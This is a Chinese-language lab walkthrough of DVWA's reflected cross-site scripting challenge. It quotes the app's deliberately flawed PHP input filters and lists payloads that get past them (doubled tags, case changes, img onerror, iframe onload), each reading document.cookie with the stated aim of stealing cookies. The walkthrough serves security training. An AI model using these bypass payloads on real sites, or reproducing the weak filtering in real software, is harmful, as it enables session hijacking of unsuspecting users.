About
Cross Site Scripting(XSS),即跨站脚本攻击,是一种常见的 web 安全漏洞,它主要是指攻击者可以在页面中插入恶意脚本代码,当受害者访问这些页面时,浏览器会解析并执行这些恶意代码,从而达到窃取用户身份 / 钓鱼 / 传播恶意代码等行为。
XSS 的本质其实是一种“HTML”注入,用户的数据被当做 HTML 代码执行,从而混淆了原本的语义,产生了新的语义。
本节展示的是反射型 XSS,它一般在 URL 中,也有在 GET 或 POST 的参数中。反射型 XSS 是通过提交内容,然后不经过数据库,直接反射回显在页面上。
Object
窃取用户的 Cookie。
001 Low
该等级下开发者没有做任何防护。我们尝试在文本框输入一些字符:
可以看到参数在 URL 中,我们试一试:
?name=<script>alert(document.cookie)</script>
002 Medium
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "
<pre>Hello ${name}</pre>";
}
?>
该等级下,开发者使用str_replace()
替换<script>
字符。我们可以尝试双写绕过、大小写替换绕过、其他标签绕过。
1、双写绕过,输入<sc<script>ript>alert(document.cookie)</script>
,弹窗成功。
2、大小写绕过,输入<SCRIPT>alert(document.cookie)</SCRIPT>
,弹窗成功。
3、其他标签绕过,输入<img src/onerror=alert(document.cookie)>
,弹窗成功。
003 High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "
<pre>Hello ${name}</pre>";
}
?>
开发者使用正则表达式移除模式<s*c*r*i*p*t
。我们可以通过<img>
标签绕过:
<img src/onerror=alert(document.cookie)>
或者使用<iframe>
标签绕过:
<iframe onload=alert(document.cookie)></iframe>
References
- DVWA 通关指南:XSS(Reflected) - 乌漆WhiteMoon
- DVWA——XSS(跨站脚本攻击) - 戚源
- 11 - XSS (Reflected) (low/med/high) - DVWA
- Cross-Site Scripting (XSS) Cheat Sheet - 2022 Edition